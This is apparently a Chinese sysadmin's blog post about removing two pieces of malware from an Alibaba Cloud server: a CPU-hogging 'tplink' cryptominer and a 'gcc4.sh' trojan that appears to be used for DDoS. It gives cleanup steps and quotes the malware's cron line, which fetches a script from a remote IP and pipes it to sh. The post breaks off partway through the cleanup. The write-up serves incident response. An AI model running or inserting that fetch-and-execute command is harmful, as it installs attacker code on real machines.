接到电话说阿里云上的服务无法访问,让我去处理下。最近这个阿里云服务器老是不稳定,动不动就无法访问,正好今天有时间,打算彻底检查下。
一检查,发现问题果然很严重,简单说,就是被人种了木马,而且还不止一个,晕倒了!
下面把中招以及处理的方法介绍一下,也算是一个经验教训吧。
木马1:挖矿木马minerd变种tplink
典型现象就是在系统CPU资源高达100%,但是用top看不到任何异常进程信息,只有用lsof
这个神器了
lsof -c tplink
结果一目了然
第一步是禁止tplink的自动启动,需要将所有相关的crontab都删除
检查/etc/crontab
、/var/spool/cron/root
和 /var/spool/cron/crontabs/root
三个文件,将以下的自动执行命令删除(不同的变种命令可能会不同,但都是curl)
/10 * * * curl -fsSL http://101.55.126.66:8990/pm.sh | sh
第二步就是执行以下命令就可以把所有的tplink进程都杀了,同步把tplink文件给删除了
kill -9 3068 && rm -rf /usr/sbin/tplink
第三步去掉SSH信任,否则别人随时可以用root登录上来
修改/etc/ssh/sshd_config
文件的最后一行,把木马指向的信任文件
AuthorizedKeysFile .ssh/KHK75NEOiq
修改为正确的信任文件
AuthorizedKeysFile .ssh/authorized_keys
然后到/root/.ssh
目录下把木马的信任文件删除
rm -rf /root/.ssh/KHK75NEOiq
暂时这个木马就清除到这里。但事情还没有结束,这个变种还有一个更隐蔽的后手,接着来吧。
木马2:gcc4.sh
为什么叫gcc4.sh,因为我也不清楚这个木马应该叫什么,先命个名吧。
现象就是你到/var/log/cron
日志中查看,会发现以下内容
Dec 15 08:42:01 iZ CROND[1396]: (root) CMD (/etc/cron.hourly/gcc4.sh)
这次木马使用的cron脚本位置在/etc/crontab
*/3 * * * * root /etc/cron.hourly/gcc4.sh
先删了干净。
然后发现这个木马会生成一个10个字母乱码的进程,例如ypyvjyodov等,和之前的挖矿木马不一样,它主要占用的是网络带宽,估计是用来进行DDoS攻击用的。
直接杀进程又会激发新的进程,而且名称一直在变,因此先禁止木马本体的访问权限
chattr +i /lib/libudev4.so
然后在删除木马服务的同时,禁止系统服务目录的写入权限
rm -rf /etc/init.d/kscqqdejrr && chattr +i /etc/init.d/
好了,这时候可以放心地杀进程了
pkill kscqqdejrr
杀了进程之后就是删除木马本体
chattr -i libudev4.so && rm -rf libudev4.so
清理服务目录/etc/rc.d
,从rc0.d
到 rc6.d
,一个一个来吧